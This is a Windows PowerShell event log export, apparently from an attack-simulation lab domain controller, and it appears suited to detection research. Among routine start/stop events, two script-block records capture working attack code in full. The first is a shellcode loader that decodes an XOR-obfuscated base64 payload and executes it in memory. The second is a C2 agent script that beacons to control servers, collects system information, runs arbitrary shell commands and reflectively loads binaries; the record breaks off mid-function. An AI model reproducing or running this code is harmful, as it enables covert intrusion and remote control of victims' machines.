RecordNumber=1479376
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479375
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479373
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479371
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479370
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479369
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479368
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479367
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479365
Keywords=None
Message=Started invocation of ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479364
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
ScriptBlock ID: 54af5a29-7a51-479b-852c-d2bba7e752fc
Path:
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479363
Keywords=None
Message=Started invocation of ScriptBlock ID: b8bb59f0-2a61-40c9-8c37-53741cfac6c1
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479362
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
ScriptBlock ID: b8bb59f0-2a61-40c9-8c37-53741cfac6c1
Path:
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479361
Keywords=None
Message=Started invocation of ScriptBlock ID: 54f3be2a-145e-4a2f-ae83-6736ebf18910
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479360
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
ScriptBlock ID: 54f3be2a-145e-4a2f-ae83-6736ebf18910
Path:
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479359
Keywords=None
Message=Completed invocation of ScriptBlock ID: e8105a87-0fde-42b8-8988-48eac473204d
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479358
Keywords=None
Message=Started invocation of ScriptBlock ID: e8105a87-0fde-42b8-8988-48eac473204d
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7f0e3bf3-ad0d-42de-9e83-d420640453ca
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479356
Keywords=None
Message=Started invocation of ScriptBlock ID: 7f0e3bf3-ad0d-42de-9e83-d420640453ca
Runspace ID: 371b04eb-e0ff-4e83-bdd4-669a02c68000
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=12039
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479355
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8196
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479354
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8197
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Connect
OpCode=Open (async)
RecordNumber=1479353
Keywords=None
Message=Runspace state changed to Opened
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=12039
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479352
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8196
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479351
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=12039
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479350
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8196
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479349
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1479348
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 7788 in AppDomain: DefaultAppDomain.
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=12039
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479347
Keywords=None
Message=Modifying activity Id and correlating
06/15/2021 05:09:42 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=8196
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=None
OpCode=To be used when operation is just executing a method
RecordNumber=1479346
Keywords=None
Message=Modifying activity Id and correlating
06/09/2021 07:20:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=138978
Keywords=None
Message=Creating Scriptblock text (1 of 3):
function Invoke-Empire {
param(
[Parameter(Mandatory=$true)]
[String]
$StagingKey,
[Parameter(Mandatory=$true)]
[String]
$SessionKey,
[Parameter(Mandatory=$true)]
[String]
$SessionID,
[Int32]
$AgentDelay = 5,
[Double]
$AgentJitter = 0.0,
[String[]]
$Servers,
[String]
$KillDate,
[Int32]
$KillDays,
[String]
$WorkingHours,
[object]
$ProxySettings,
[String]
$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
[Int32]
$LostLimit = 60,
[String]
$DefaultResponse = "PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIi8+DQo8dGl0bGU+NDA0IC0gRmlsZSBvciBkaXJlY3Rvcnkgbm90IGZvdW5kLjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KYm9keXttYXJnaW46MDtmb250LXNpemU6LjdlbTtmb250LWZhbWlseTpWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmO2JhY2tncm91bmQ6I0VFRUVFRTt9DQpmaWVsZHNldHtwYWRkaW5nOjAgMTVweCAxMHB4IDE1cHg7fSANCmgxe2ZvbnQtc2l6ZToyLjRlbTttYXJnaW46MDtjb2xvcjojRkZGO30NCmgye2ZvbnQtc2l6ZToxLjdlbTttYXJnaW46MDtjb2xvcjojQ0MwMDAwO30gDQpoM3tmb250LXNpemU6MS4yZW07bWFyZ2luOjEwcHggMCAwIDA7Y29sb3I6IzAwMDAwMDt9IA0KI2hlYWRlcnt3aWR0aDo5NiU7bWFyZ2luOjAgMCAwIDA7cGFkZGluZzo2cHggMiUgNnB4IDIlO2ZvbnQtZmFtaWx5OiJ0cmVidWNoZXQgTVMiLCBWZXJkYW5hLCBzYW5zLXNlcmlmO2NvbG9yOiNGRkY7DQpiYWNrZ3JvdW5kLWNvbG9yOiM1NTU1NTU7fQ0KI2NvbnRlbnR7bWFyZ2luOjAgMCAwIDIlO3Bvc2l0aW9uOnJlbGF0aXZlO30NCi5jb250ZW50LWNvbnRhaW5lcntiYWNrZ3JvdW5kOiNGRkY7d2lkdGg6OTYlO21hcmdpbi10b3A6OHB4O3BhZGRpbmc6MTBweDtwb3NpdGlvbjpyZWxhdGl2ZTt9DQotLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgaWQ9ImhlYWRlciI+PGgxPlNlcnZlciBFcnJvcjwvaDE+PC9kaXY+DQo8ZGl2IGlkPSJjb250ZW50Ij4NCiA8ZGl2IGNsYXNzPSJjb250ZW50LWNvbnRhaW5lciI+PGZpZWxkc2V0Pg0KICA8aDI+NDA0IC0gRmlsZSBvciBkaXJlY3Rvcnkgbm90IGZvdW5kLjwvaDI+DQogIDxoMz5UaGUgcmVzb3VyY2UgeW91IGFyZSBsb29raW5nIGZvciBtaWdodCBoYXZlIGJlZW4gcmVtb3ZlZCwgaGFkIGl0cyBuYW1lIGNoYW5nZWQsIG9yIGlzIHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlLjwvaDM+DQogPC9maWVsZHNldD48L2Rpdj4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA="
)
$Encoding = [System.Text.Encoding]::ASCII
$HMAC = New-Object System.Security.Cryptography.HMACSHA256
$script:AgentDelay = $AgentDelay
$script:AgentJitter = $AgentJitter
$script:LostLimit = $LostLimit
$script:MissedCheckins = 0
$script:ResultIDs = @{}
$script:WorkingHours = $WorkingHours
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
$script:Proxy = $ProxySettings
$script:CurrentListenerName = ""
$Script:ServerIndex = 0
$Script:ControlServers = $Servers
$Retries = 1
if($KillDays) {
$script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
}
if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
$script:KillDate = $KillDate
}
$ProfileParts = $Profile.split('|')
$script:TaskURIs = $ProfileParts[0].split(',')
$script:UserAgent = $ProfileParts[1]
$script:SessionID = $SessionID
$script:Headers = @{}
if($ProfileParts[2]) {
$ProfileParts[2..$ProfileParts.length] | ForEach-Object {
$Parts = $_.Split(':')
$script:Headers.Add($Parts[0],$Parts[1])
}
}
$Script:Jobs = @{}
$Script:Downloads = @{}
$script:ImportedScript = ''
function ConvertTo-Rc4ByteStream {
Param ($In, $RCK)
begin {
[Byte[]] $S = 0..255;
$J = 0;
0..255 | ForEach-Object {
$J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256;
$S[$_], $S[$J] = $S[$J], $S[$_];
};
$I = $J = 0;
}
process {
ForEach($Byte in $In) {
$I = ($I + 1) % 256;
$J = ($J + $S[$I]) % 256;
$S[$I], $S[$J] = $S[$J], $S[$I];
$Byte -bxor $S[($S[$I] + $S[$J]) % 256];
}
}
}
function Get-HexString {
param([byte]$Data)
($Data | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
}
function Set-Delay {
param([int]$d, [double]$j=0.0)
$script:AgentDelay = $d
$script:AgentJitter = $j
"agent interval set to $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Get-Delay {
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
}
function Set-LostLimit {
param([int]$l)
$script:LostLimit = $l
if($l -eq 0)
{
"agent set to never die based on checkin Limit"
}
else
{
"agent LostLimit set to $script:LostLimit"
}
}
function Get-LostLimit {
"agent LostLimit: $script:LostLimit"
}
function Set-Killdate {
param([string]$date)
$script:KillDate = $date
"agent killdate set to $script:KillDate"
}
function Get-Killdate {
"agent killdate: $script:KillDate"
}
function Set-WorkingHours {
param([string]$hours)
$script:WorkingHours = $hours
"agent working hours set to $($script:WorkingHours)"
}
function Get-WorkingHours {
"agent working hours: $($script:WorkingHours)"
}
function Get-Sysinfo {
$str = '0|' # no nonce for normal execution
$str += $Script:ControlServers[$Script:ServerIndex]
$str += '|' + [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$p = (Get-WmiObject Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress);
$ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6];
$str+="|$ip"
$str += '|' +(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0];
if(([Environment]::UserName).ToLower() -eq 'system') {
$str += '|True'
}
else{
$str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
}
$n = [System.Diagnostics.Process]::GetCurrentProcess();
$str += '|'+$n.ProcessName+'|'+$n.Id;
$str += "|powershell|" + $PSVersionTable.PSVersion.Major;
$str
}
function Invoke-ShellCommand {
param($cmd, $cmdargs="")
if ($cmdargs -like "*`"\\*") {
$cmdargs = $cmdargs -replace "`"\\","FileSystem::`"\"
}
elseif ($cmdargs -like "*\\*") {
$cmdargs = $cmdargs -replace "\\\\","FileSystem::\\"
}
$output = ''
if ($cmd.ToLower() -eq 'shell') {
if ($cmdargs.length -eq '') { $output = 'no shell command supplied' }
else {
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
$output = iex "$cmdargs" | out-string
[Console]::SetOut($OldConsoleOut)
if ($output.length -eq 0){
$output = $StringWriter.ToString()
}
}
$output += "`n`r..Command execution completed."
}
elseif ($cmd.ToLower() -eq 'reflectiveload'){
if ($cmdargs.length -eq '') { $output = 'no binary supplied' }
else{
$assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs))
$output = "`n`r Reflective Load Complete"
}
}
else {
switch -regex ($cmd) {
'(ls|^dir)' {
if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={(Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
else {
try{
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop" | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
}
catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)."
}
}
}
'(mv|move|copy|cp|rm|del|rmdir|mkdir)' {
